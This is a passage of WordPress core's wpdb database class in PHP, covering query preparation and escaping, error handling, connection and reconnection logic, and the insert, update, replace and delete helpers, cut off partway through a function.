( 'd' !== $type && 'F' !== $type ) { /* * i.e. ( 's' === $type ), where 'd' and 'F' keeps $placeholder unchanged, * and we ensure string escaping is used as a safe default (e.g. even if 'x'). */ $argnum_pos = strpos( $format, '$' ); if ( false !== $argnum_pos ) { $arg_strings[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 ); } else { $arg_strings[] = $arg_id; } /* * Unquoted strings for backward compatibility (dangerous). * First, "numbered or formatted string placeholders (eg, %1$s, %5s)". * Second, if "%s" has a "%" before it, even if it's unrelated (e.g. "LIKE '%%%s%%'"). */ if ( true !== $this->allow_unsafe_unquoted_parameters /* * Note: str_ends_with() is not used here, as this file can be included * directly outside of WordPress core, e.g. by HyperDB, in which case * the polyfills from wp-includes/compat.php are not loaded. */ || ( '' === $format && '%' !== substr( $split_query[ $key - 1 ], -1, 1 ) ) ) { $placeholder = "'%" . $format . "s'"; } } } // Glue (-2), any leading characters (-1), then the new $placeholder. $new_query .= $split_query[ $key - 2 ] . $split_query[ $key - 1 ] . $placeholder; $key += 3; ++$arg_id; } // Replace $query; and add remaining $query characters, or index 0 if there were no placeholders. $query = $new_query . $split_query[ $key - 2 ]; $dual_use = array_intersect( $arg_identifiers, $arg_strings ); if ( count( $dual_use ) > 0 ) { wp_load_translations_early(); $used_placeholders = array(); $key = 2; $arg_id = 0; // Parse again (only used when there is an error). while ( $key < $split_query_count ) { $placeholder = $split_query[ $key ]; $format = substr( $placeholder, 1, -1 ); $argnum_pos = strpos( $format, '$' ); if ( false !== $argnum_pos ) { $arg_pos = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 ); } else { $arg_pos = $arg_id; } $used_placeholders[ $arg_pos ][] = $placeholder; $key += 3; ++$arg_id; } $conflicts = array(); foreach ( $dual_use as $arg_pos ) { $conflicts[] = implode( ' and ', $used_placeholders[ $arg_pos ] ); } _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: %s: A list of placeholders found to be a problem. */ __( 'Arguments cannot be prepared as both an Identifier and Value. Found the following conflicts: %s' ), implode( ', ', $conflicts ) ), '6.2.0' ); return; } $args_count = count( $args ); if ( $args_count !== $placeholder_count ) { if ( 1 === $placeholder_count && $passed_as_array ) { /* * If the passed query only expected one argument, * but the wrong number of arguments was sent as an array, bail. */ wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' ); return; } else { /* * If we don't have the right number of placeholders, * but they were passed as individual arguments, * or we were expecting multiple arguments in an array, throw a warning. */ wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: 1: Number of placeholders, 2: Number of arguments passed. */ __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ), $placeholder_count, $args_count ), '4.8.3' ); /* * If we don't have enough arguments to match the placeholders, * return an empty string to avoid a fatal error on PHP 8. */ if ( $args_count < $placeholder_count ) { $max_numbered_placeholder = 0; for ( $i = 2, $l = $split_query_count; $i < $l; $i += 3 ) { // Assume a leading number is for a numbered placeholder, e.g. '%3$s'. $argnum = (int) substr( $split_query[ $i ], 1 ); if ( $max_numbered_placeholder < $argnum ) { $max_numbered_placeholder = $argnum; } } if ( ! $max_numbered_placeholder || $args_count < $max_numbered_placeholder ) { return ''; } } } } $args_escaped = array(); foreach ( $args as $i => $value ) { if ( in_array( $i, $arg_identifiers, true ) ) { $args_escaped[] = $this->_escape_identifier_value( $value ); } elseif ( is_int( $value ) || is_float( $value ) ) { $args_escaped[] = $value; } else { if ( ! is_scalar( $value ) && ! is_null( $value ) ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: %s: Value type. */ __( 'Unsupported value type (%s).' ), gettype( $value ) ), '4.8.2' ); // Preserving old behavior, where values are escaped as strings. $value = ''; } $args_escaped[] = $this->_real_escape( $value ); } } $query = vsprintf( $query, $args_escaped ); return $this->add_placeholder_escape( $query ); } /** * First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL. * * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . $wpdb->esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like ); * * Example Escape Chain: * * $sql = esc_sql( $wpdb->esc_like( $input ) ); * * @since 4.0.0 * * @param string $text The raw text to be escaped. The input typed by the user * should have no extra or deleted slashes. * @return string Text in the form of a LIKE phrase. The output is not SQL safe. * Call wpdb::prepare() or wpdb::_real_escape() next. */ public function esc_like( $text ) { return addcslashes( $text, '_%\\' ); } /** * Prints SQL/DB error. * * @since 0.71 * * @global array $EZSQL_ERROR Stores error information of query and error string. * * @param string $str The error to display. * @return void|false Void if the showing of errors is enabled, false if disabled. */ public function print_error( $str = '' ) { global $EZSQL_ERROR; if ( ! $str ) { $str = mysqli_error( $this->dbh ); } $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str, ); if ( $this->suppress_errors ) { return false; } $caller = $this->get_caller(); if ( $caller ) { // Not translated, as this will only appear in the error log. $error_str = sprintf( 'WordPress database error %1$s for query %2$s made by %3$s', $str, $this->last_query, $caller ); } else { $error_str = sprintf( 'WordPress database error %1$s for query %2$s', $str, $this->last_query ); } error_log( $error_str ); // Are we showing errors? if ( ! $this->show_errors ) { return false; } wp_load_translations_early(); // If there is an error then take note of it. if ( is_multisite() ) { $msg = sprintf( "%s [%s]\n%s\n", __( 'WordPress database error:' ), $str, $this->last_query ); if ( defined( 'ERRORLOGFILE' ) ) { error_log( $msg, 3, ERRORLOGFILE ); } if ( defined( 'DIEONDBERROR' ) ) { wp_die( $msg ); } } else { $str = htmlspecialchars( $str, ENT_QUOTES ); $query = htmlspecialchars( $this->last_query, ENT_QUOTES ); printf( '

    %s [%s]
    %s

    ', __( 'WordPress database error:' ), $str, $query ); } } /** * Enables showing of database errors. * * This function should be used only to enable showing of errors. * wpdb::hide_errors() should be used instead for hiding errors. * * @since 0.71 * * @see wpdb::hide_errors() * * @param bool $show Optional. Whether to show errors. Default true. * @return bool Whether showing of errors was previously active. */ public function show_errors( $show = true ) { $errors = $this->show_errors; $this->show_errors = $show; return $errors; } /** * Disables showing of database errors. * * By default database errors are not shown. * * @since 0.71 * * @see wpdb::show_errors() * * @return bool Whether showing of errors was previously active. */ public function hide_errors() { $show = $this->show_errors; $this->show_errors = false; return $show; } /** * Enables or disables suppressing of database errors. * * By default database errors are suppressed. * * @since 2.5.0 * * @see wpdb::hide_errors() * * @param bool $suppress Optional. Whether to suppress errors. Default true. * @return bool Whether suppressing of errors was previously active. */ public function suppress_errors( $suppress = true ) { $errors = $this->suppress_errors; $this->suppress_errors = (bool) $suppress; return $errors; } /** * Kills cached query results. * * @since 0.71 */ public function flush() { $this->last_result = array(); $this->col_info = null; $this->last_query = null; $this->rows_affected = 0; $this->num_rows = 0; $this->last_error = ''; if ( $this->result instanceof mysqli_result ) { mysqli_free_result( $this->result ); $this->result = null; // Confidence check before using the handle. if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) { return; } // Clear out any results from a multi-query. while ( mysqli_more_results( $this->dbh ) ) { mysqli_next_result( $this->dbh ); } } } /** * Connects to and selects database. * * If `$allow_bail` is false, the lack of database connection will need to be handled manually. * * @since 3.0.0 * @since 3.9.0 $allow_bail parameter added. * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool True with a successful connection, false on failure. */ public function db_connect( $allow_bail = true ) { $this->is_mysql = true; $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0; /* * Set the MySQLi error reporting off because WordPress handles its own. * This is due to the default value change from `MYSQLI_REPORT_OFF` * to `MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT` in PHP 8.1. */ mysqli_report( MYSQLI_REPORT_OFF ); $this->dbh = mysqli_init(); $host = $this->dbhost; $port = null; $socket = null; $is_ipv6 = false; $host_data = $this->parse_db_host( $this->dbhost ); if ( $host_data ) { list( $host, $port, $socket, $is_ipv6 ) = $host_data; } /* * If using the `mysqlnd` library, the IPv6 address needs to be enclosed * in square brackets, whereas it doesn't while using the `libmysqlclient` library. * @see https://bugs.php.net/bug.php?id=67563 */ if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) { $host = "[$host]"; } if ( WP_DEBUG ) { mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged @mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } if ( $this->dbh->connect_errno ) { $this->dbh = null; } if ( ! $this->dbh && $allow_bail ) { wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } $message = '

    ' . __( 'Error establishing a database connection' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: 1: wp-config.php, 2: Database host. */ __( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host’s database server is down.' ), 'wp-config.php', '' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure you have the correct username and password?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure you have typed the correct hostname?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure the database server is running?' ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; $this->bail( $message, 'db_connect_fail' ); return false; } elseif ( $this->dbh ) { if ( ! $this->has_connected ) { $this->init_charset(); } $this->has_connected = true; $this->set_charset( $this->dbh ); $this->ready = true; $this->set_sql_mode(); $this->select( $this->dbname, $this->dbh ); return true; } return false; } /** * Parses the DB_HOST setting to interpret it for mysqli_real_connect(). * * mysqli_real_connect() doesn't support the host param including a port or socket * like mysql_connect() does. This duplicates how mysql_connect() detects a port * and/or socket file. * * @since 4.9.0 * * @param string $host The DB_HOST setting to parse. * @return array|false { * Array containing the host, the port, the socket and * whether it is an IPv6 address, in that order. * False if the host couldn't be parsed. * * @type string $0 Host name. * @type string|null $1 Port. * @type string|null $2 Socket. * @type bool $3 Whether it is an IPv6 address. * } */ public function parse_db_host( $host ) { $socket = null; $is_ipv6 = false; // First peel off the socket parameter from the right, if it exists. $socket_pos = strpos( $host, ':/' ); if ( false !== $socket_pos ) { $socket = substr( $host, $socket_pos + 1 ); $host = substr( $host, 0, $socket_pos ); } /* * We need to check for an IPv6 address first. * An IPv6 address will always contain at least two colons. */ if ( substr_count( $host, ':' ) > 1 ) { $pattern = '#^(?:\[)?(?P[0-9a-fA-F:]+)(?:\]:(?P[\d]+))?#'; $is_ipv6 = true; } else { // We seem to be dealing with an IPv4 address. $pattern = '#^(?P[^:/]*)(?::(?P[\d]+))?#'; } $matches = array(); $result = preg_match( $pattern, $host, $matches ); if ( 1 !== $result ) { // Couldn't parse the address, bail. return false; } $host = ! empty( $matches['host'] ) ? $matches['host'] : ''; // MySQLi port cannot be a string; must be null or an integer. $port = ! empty( $matches['port'] ) ? absint( $matches['port'] ) : null; return array( $host, $port, $socket, $is_ipv6 ); } /** * Checks that the connection to the database is still up. If not, try to reconnect. * * If this function is unable to reconnect, it will forcibly die, or if called * after the {@see 'template_redirect'} hook has been fired, return false instead. * * If `$allow_bail` is false, the lack of database connection will need to be handled manually. * * @since 3.9.0 * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool|void True if the connection is up. */ public function check_connection( $allow_bail = true ) { // Check if the connection is alive. if ( ! empty( $this->dbh ) && mysqli_query( $this->dbh, 'DO 1' ) !== false ) { return true; } $error_reporting = false; // Disable warnings, as we don't want to see a multitude of "unable to connect" messages. if ( WP_DEBUG ) { $error_reporting = error_reporting(); error_reporting( $error_reporting & ~E_WARNING ); } for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) { /* * On the last try, re-enable warnings. We want to see a single instance * of the "unable to connect" message on the bail() screen, if it appears. */ if ( $this->reconnect_retries === $tries && WP_DEBUG ) { error_reporting( $error_reporting ); } if ( $this->db_connect( false ) ) { if ( $error_reporting ) { error_reporting( $error_reporting ); } return true; } sleep( 1 ); } /* * If template_redirect has already happened, it's too late for wp_die()/dead_db(). * Let's just return and hope for the best. */ if ( did_action( 'template_redirect' ) ) { return false; } if ( ! $allow_bail ) { return false; } wp_load_translations_early(); $message = '

    ' . __( 'Error reconnecting to the database' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: %s: Database host. */ __( 'This means that the contact with the database server at %s was lost. This could mean your host’s database server is down.' ), '' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure the database server is running?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; // We weren't able to reconnect, so we better bail. $this->bail( $message, 'db_connect_fail' ); /* * Call dead_db() if bail didn't die, because this database is no more. * It has ceased to be (at least temporarily). */ dead_db(); } /** * Performs a database query, using current database connection. * * More information can be found on the documentation page. * * @since 0.71 * * @link https://developer.wordpress.org/reference/classes/wpdb/ * * @param string $query Database query. * @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows * affected/selected for all other queries. Boolean false on error. */ public function query( $query ) { if ( ! $this->ready ) { $this->check_current_query = true; return false; } /** * Filters the database query. * * Some queries are made before the plugins have been loaded, * and thus cannot be filtered with this method. * * @since 2.1.0 * * @param string $query Database query. */ $query = apply_filters( 'query', $query ); if ( ! $query ) { $this->insert_id = 0; return false; } $this->flush(); // Log how the function was called. $this->func_call = "\$db->query(\"$query\")"; // If we're writing to the database, make sure the query will write safely. if ( $this->check_current_query && ! $this->check_ascii( $query ) ) { $stripped_query = $this->strip_invalid_text_from_query( $query ); /* * strip_invalid_text_from_query() can perform queries, so we need * to flush again, just to make sure everything is clear. */ $this->flush(); if ( $stripped_query !== $query ) { $this->insert_id = 0; $this->last_query = $query; wp_load_translations_early(); $this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' ); return false; } } $this->check_current_query = true; // Keep track of the last query for debug. $this->last_query = $query; $this->_do_query( $query ); // Database server has gone away, try to reconnect. $mysql_errno = 0; if ( $this->dbh instanceof mysqli ) { $mysql_errno = mysqli_errno( $this->dbh ); } else { /* * $dbh is defined, but isn't a real connection. * Something has gone horribly wrong, let's try a reconnect. */ $mysql_errno = 2006; } if ( empty( $this->dbh ) || 2006 === $mysql_errno ) { if ( $this->check_connection() ) { $this->_do_query( $query ); } else { $this->insert_id = 0; return false; } } // If there is an error then take note of it. if ( $this->dbh instanceof mysqli ) { $this->last_error = mysqli_error( $this->dbh ); } else { $this->last_error = __( 'Unable to retrieve the error message from MySQL' ); } if ( $this->last_error ) { // Clear insert_id on a subsequent failed insert. if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { $this->insert_id = 0; } $this->print_error(); return false; } if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) { $return_val = $this->result; } elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) { $this->rows_affected = mysqli_affected_rows( $this->dbh ); // Take note of the insert_id. if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { $this->insert_id = mysqli_insert_id( $this->dbh ); } // Return number of rows affected. $return_val = $this->rows_affected; } else { $num_rows = 0; if ( $this->result instanceof mysqli_result ) { while ( $row = mysqli_fetch_object( $this->result ) ) { $this->last_result[ $num_rows ] = $row; ++$num_rows; } } // Log and return the number of rows selected. $this->num_rows = $num_rows; $return_val = $num_rows; } return $return_val; } /** * Internal function to perform the mysqli_query() call. * * @since 3.9.0 * * @see wpdb::query() * * @param string $query The query to run. */ private function _do_query( $query ) { if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->timer_start(); } if ( ! empty( $this->dbh ) ) { $this->result = mysqli_query( $this->dbh, $query ); } ++$this->num_queries; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->log_query( $query, $this->timer_stop(), $this->get_caller(), $this->time_start, array() ); } } /** * Logs query data. * * @since 5.3.0 * * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. * @param array $query_data Custom query data. */ public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) { /** * Filters the custom data to log alongside a query. * * Caution should be used when modifying any of this data, it is recommended that any additional * information you need to store about a query be added as a new associative array element. * * @since 5.3.0 * * @param array $query_data Custom query data. * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. */ $query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start ); $this->queries[] = array( $query, $query_time, $query_callstack, $query_start, $query_data, ); } /** * Generates and returns a placeholder escape string for use in queries returned by ::prepare(). * * @since 4.8.3 * * @return string String to escape placeholders. */ public function placeholder_escape() { static $placeholder; if ( ! $placeholder ) { // Old WP installs may not have AUTH_SALT defined. $salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand(); $placeholder = '{' . hash_hmac( 'sha256', uniqid( $salt, true ), $salt ) . '}'; } /* * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything * else attached to this filter will receive the query with the placeholder string removed. */ if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) { add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 ); } return $placeholder; } /** * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder. * * @since 4.8.3 * * @param string $query The query to escape. * @return string The query with the placeholder escape string inserted where necessary. */ public function add_placeholder_escape( $query ) { /* * To prevent returning anything that even vaguely resembles a placeholder, * we clobber every % we can find. */ return str_replace( '%', $this->placeholder_escape(), $query ); } /** * Removes the placeholder escape strings from a query. * * @since 4.8.3 * * @param string $query The query from which the placeholder will be removed. * @return string The query with the placeholder removed. */ public function remove_placeholder_escape( $query ) { return str_replace( $this->placeholder_escape(), '%', $query ); } /** * Inserts a row into the table. * * Examples: * * $wpdb->insert( * 'table', * array( * 'column1' => 'foo', * 'column2' => 'bar', * ) * ); * $wpdb->insert( * 'table', * array( * 'column1' => 'foo', * 'column2' => 1337, * ), * array( * '%s', * '%d', * ) * ); * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`. * If string, that format will be used for all of the values in `$data`. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in `$data` will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @return int|false The number of rows inserted, or false on error. */ public function insert( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' ); } /** * Replaces a row in the table or inserts it if it does not exist, based on a PRIMARY KEY or a UNIQUE index. * * A REPLACE works exactly like an INSERT, except that if an old row in the table has the same value as a new row * for a PRIMARY KEY or a UNIQUE index, the old row is deleted before the new row is inserted. * * Examples: * * $wpdb->replace( * 'table', * array( * 'ID' => 123, * 'column1' => 'foo', * 'column2' => 'bar', * ) * ); * $wpdb->replace( * 'table', * array( * 'ID' => 456, * 'column1' => 'foo', * 'column2' => 1337, * ), * array( * '%d', * '%s', * '%d', * ) * ); * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped). * A primary key or unique index is required to perform a replace operation. * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`. * If string, that format will be used for all of the values in `$data`. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in `$data` will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @return int|false The number of rows affected, or false on error. */ public function replace( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' ); } /** * Helper function for insert and replace. * * Runs an insert or replace query based on `$type` argument. * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`. * If string, that format will be used for all of the values in `$data`. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in `$data` will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @param string $type Optional. Type of operation. Either 'INSERT' or 'REPLACE'. * Default 'INSERT'. * @return int|false The number of rows affected, or false on error. */ public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) { $this->insert_id = 0; if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $formats = array(); $values = array(); foreach ( $data as $value ) { if ( is_null( $value['value'] ) ) { $formats[] = 'NULL'; continue; } $formats[] = $value['format']; $values[] = $value['value']; } $fields = '`' . implode( '`, `', array_keys( $data ) ) . '`'; $formats = implode( ', ', $formats ); $sql = "$type INTO `$table` ($fields) VALUES ($formats)"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Updates a row in the table. * * Examples: * * $wpdb->update( * 'table', * array( * 'column1' => 'foo', * 'column2' => 'bar', * ), * array( * 'ID' => 1, * ) * ); * $wpdb->update( * 'table', * array( * 'column1' => 'foo', * 'column2' => 1337, * ), * array( * 'ID' => 1, * ), * array( * '%s', * '%d', * ), * array( * '%d', * ) * ); * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to update (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param string[]|string $format Optional. An array of formats to be mapped to each of the values in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $where will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @return int|false The number of rows updated, or false on error. */ public function update( $table, $data, $where, $format = null, $where_format = null ) { if ( ! is_array( $data ) || ! is_array( $where ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $fields = array(); $conditions = array(); $values = array(); foreach ( $data as $field => $value ) { if ( is_null( $value['value'] ) ) { $fields[] = "`$field` = NULL"; continue; } $fields[] = "`$field` = " . $value['format']; $values[] = $value['value']; } foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $fields = implode( ', ', $fields ); $conditions = implode( ' AND ', $conditions ); $sql = "UPDATE `$table` SET $fields WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Deletes a row in the table. * * Examples: * * $wpdb->delete( * 'table', * array( * 'ID' => 1, * ) * ); * $wpdb->delete( * 'table', * array( * 'ID' => 1, * ), * array( * '%d', * ) * ); * * @since 3.4.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. Default null. * @return int|false The number of rows deleted, or false on error. */ public function delete( $table, $where, $where_format = null ) { if ( ! is_array( $where ) ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $conditions = array(); $values = array(); foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $conditions = implode( ' AND ', $conditions ); $sql = "DELETE FROM `$table` WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Processes arrays of field/value pairs and field formats. * * This is a helper method for wpdb's CRUD methods, which take field/value pairs * for inserts, updates, and where clauses. This method first pairs each value * with a format. Then it determines the charset of that field, using that * to determine if any invalid text would be stripped. If text is stripped, * then field processing is rejected and the query fails. * * @since 4.2.0 * * @param string $table Table name. * @param array $data Array of values keyed by their field names. * @param string[]|string $format Formats or format to be mapped to the values in the data. * @return array|false An array of fields that contain paired value and formats. * False for invalid values. */ protected function process_fields( $table, $data, $format ) { $data = $this->process_field_formats( $data, $format ); if ( false === $data ) { return false; } $data = $this->process_field_charsets( $data, $table ); if ( false === $data ) { return false; } $data = $this->process_field_lengths( $data, $table ); if ( false === $data ) { return false; } $converted_data = $this->strip_invalid_text( $data ); if ( $data !== $converted_data ) { $problem_fields = array(); foreach ( $data as $field => $value ) { if ( $value !== $converted_data[ $field ] ) { $problem_fields[] = $field; } } wp_load_translations_early(); if ( 1 === count( $problem_fields ) ) { $this->last_error = sprintf( /* translators: %s: Database field where the error occurred. */ __( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ), reset( $problem_fields ) ); } else { $this->last_error = sprintf( /* translators: %s: Database fields where the error occurred. */ __( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ), implode( ', ', $problem_fields ) ); } return false; } return $data; } /** * Prepares arrays of value/format pairs as passed to wpdb CRUD methods. * * @since 4.2.0 * * @param array $data Array of values keyed by their field names. * @param string[]|string $format Formats or format to be mapped to the values in the data. * @return array { * Array of values and formats keyed by their field names. * * @type mixed $value The value to be formatted. * @type string $format The format to be mapped to the value. * } */ protected function process_field_formats( $data, $format ) { $formats = (array) $format; $original_formats = $formats; foreach ( $data as $field => $value ) { $value = array( 'value' => $value, 'format' => '%s', ); if ( ! empty( $format ) ) { $value['format'] = array_shift( $formats ); if ( ! $value['format'] ) { $value['format'] = reset( $original_formats ); } } elseif ( isset( $this->field_types[ $field ] ) ) { $value['format'] = $this->field_types[ $field ]; } $data[ $field ] = $value; } return $data; } /** * Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats(). * * @since 4.2.0 * * @param array $data { * Array of values and formats keyed by their field names, * as it comes from the wpdb::process_field_formats() method. * * @type array ...$0 { * Value and format for this field. * * @type mixed $value The value to be formatted. * @type string $format The format to be mapped to the value. * } * } * @param string $table Table name. * @return array|false { * The same array of data with additional 'charset' keys, or false if * the charset for the table cannot be found. * * @type array ...$0 { * Value, format, and charset for this field. * * @type mixed $value The value to be formatted. * @type string $format The format to be mapped to the value. * @type string|false $charset The charset to be used for the value. * } * } */ protected function process_field_charsets( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] || '%f' === $value['format'] ) { /* * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. */ $value['charset'] = false; } else { $value['charset'] = $this->get_col_charset( $table, $field ); if ( is_wp_error( $value['charset'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * For string fields, records the maximum string length that field can safely save. * * @since 4.2.1 * * @param array $data { * Array of values, formats, and charsets keyed by their field names, * as it comes from the wpdb::process_field_charsets() method. * * @type array ...$0 { * Value, format, and charset for this field. * * @type mixed $value The value to be formatted. * @type string $format The format to be mapped to the value. * @type string|false $charset The charset to be used for the value. * } * } * @param string $table Table name. * @return array|false { * The same array of data with additional 'length' keys, or false if * information for the table cannot be found. * * @type array ...$0 { * Value, format, charset, and length for this field. * * @type mixed $value The value to be formatted. * @type string $format The format to be mapped to the value. * @type string|false $charset The charset to be used for the value. * @type array|false $length { * Information about the maximum length of the value. * False if the column has no length. * * @type string $type One of 'byte' or 'char'. * @type int $length The column length. * } * } * } */ protected function process_field_lengths( $data, $table ) { foreach ( $data as $field => $value ) { if ( 